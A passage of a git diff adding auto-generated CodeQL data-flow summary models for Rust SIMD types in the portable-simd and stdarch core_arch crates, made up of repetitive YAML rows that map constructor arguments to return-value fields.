["repo:https://github.com/rust-lang/portable-simd:core_simd", "::to_usize", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::reverse_bits", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::reverse_bits", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::reverse_bits", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::reverse_bits", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "crate::simd_inv4x4", "Argument[0].Field[0]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::Matrix4x4(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "crate::simd_inv4x4", "Argument[0].Field[crate::Matrix4x4(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::Matrix4x4(0)]", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/rust/repo-https-github.com-rust-lang-stdarch-core_arch.model.yml b/rust/ql/lib/ext/generated/rust/repo-https-github.com-rust-lang-stdarch-core_arch.model.yml new file mode 100644 index 00000000000..f54a86498d3 --- /dev/null +++ b/rust/ql/lib/ext/generated/rust/repo-https-github.com-rust-lang-stdarch-core_arch.model.yml @@ -0,0 +1,1195 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::f16x16(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::f16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[10]", "ReturnValue.Field[crate::core_arch::simd::f16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[11]", "ReturnValue.Field[crate::core_arch::simd::f16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[12]", "ReturnValue.Field[crate::core_arch::simd::f16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[13]", "ReturnValue.Field[crate::core_arch::simd::f16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[14]", "ReturnValue.Field[crate::core_arch::simd::f16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[15]", "ReturnValue.Field[crate::core_arch::simd::f16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::f16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::f16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::f16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[4]", "ReturnValue.Field[crate::core_arch::simd::f16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[5]", "ReturnValue.Field[crate::core_arch::simd::f16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[6]", "ReturnValue.Field[crate::core_arch::simd::f16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[7]", "ReturnValue.Field[crate::core_arch::simd::f16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[8]", "ReturnValue.Field[crate::core_arch::simd::f16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[9]", "ReturnValue.Field[crate::core_arch::simd::f16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[10]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[11]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[12]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[13]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[14]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[15]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[16]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[17]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[18]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[19]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[20]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[21]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[22]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[23]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[24]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[25]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[26]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[27]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[28]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[29]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[30]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[31]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[4]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[5]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[6]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[7]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[8]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[9]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::f16x4(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::f16x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::f16x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::f16x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::f16x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::f16x8(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::f16x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::f16x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::f16x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::f16x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[4]", "ReturnValue.Field[crate::core_arch::simd::f16x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[5]", "ReturnValue.Field[crate::core_arch::simd::f16x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[6]", "ReturnValue.Field[crate::core_arch::simd::f16x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[7]", "ReturnValue.Field[crate::core_arch::simd::f16x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::f32x16(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::f32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[10]", "ReturnValue.Field[crate::core_arch::simd::f32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[11]", "ReturnValue.Field[crate::core_arch::simd::f32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[12]", "ReturnValue.Field[crate::core_arch::simd::f32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[13]", "ReturnValue.Field[crate::core_arch::simd::f32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[14]", "ReturnValue.Field[crate::core_arch::simd::f32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[15]", "ReturnValue.Field[crate::core_arch::simd::f32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::f32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::f32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::f32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[4]", "ReturnValue.Field[crate::core_arch::simd::f32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[5]", "ReturnValue.Field[crate::core_arch::simd::f32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[6]", "ReturnValue.Field[crate::core_arch::simd::f32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[7]", "ReturnValue.Field[crate::core_arch::simd::f32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[8]", "ReturnValue.Field[crate::core_arch::simd::f32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[9]", "ReturnValue.Field[crate::core_arch::simd::f32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::f32x2(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::f32x2(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::f32x2(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::f32x4(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::f32x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::f32x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::f32x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::f32x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::f32x8(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::f32x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::f32x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::f32x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::f32x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[4]", "ReturnValue.Field[crate::core_arch::simd::f32x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[5]", "ReturnValue.Field[crate::core_arch::simd::f32x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[6]", "ReturnValue.Field[crate::core_arch::simd::f32x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[7]", "ReturnValue.Field[crate::core_arch::simd::f32x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::f64x1(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::f64x1(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::f64x2(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::f64x2(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::f64x2(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::f64x4(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::f64x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::f64x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::f64x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::f64x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::f64x8(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::f64x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::f64x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::f64x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::f64x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[4]", "ReturnValue.Field[crate::core_arch::simd::f64x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[5]", "ReturnValue.Field[crate::core_arch::simd::f64x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[6]", "ReturnValue.Field[crate::core_arch::simd::f64x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[7]", "ReturnValue.Field[crate::core_arch::simd::f64x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i16x16(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[10]", "ReturnValue.Field[crate::core_arch::simd::i16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[11]", "ReturnValue.Field[crate::core_arch::simd::i16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[12]", "ReturnValue.Field[crate::core_arch::simd::i16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[13]", "ReturnValue.Field[crate::core_arch::simd::i16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[14]", "ReturnValue.Field[crate::core_arch::simd::i16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[15]", "ReturnValue.Field[crate::core_arch::simd::i16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::i16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::i16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::i16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[4]", "ReturnValue.Field[crate::core_arch::simd::i16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[5]", "ReturnValue.Field[crate::core_arch::simd::i16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[6]", "ReturnValue.Field[crate::core_arch::simd::i16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[7]", "ReturnValue.Field[crate::core_arch::simd::i16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[8]", "ReturnValue.Field[crate::core_arch::simd::i16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[9]", "ReturnValue.Field[crate::core_arch::simd::i16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i16x2(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i16x2(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::i16x2(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[10]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[11]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[12]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[13]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[14]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[15]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[16]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[17]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[18]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[19]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[20]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[21]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[22]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[23]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[24]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[25]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[26]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[27]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[28]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[29]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[30]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[31]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[4]", 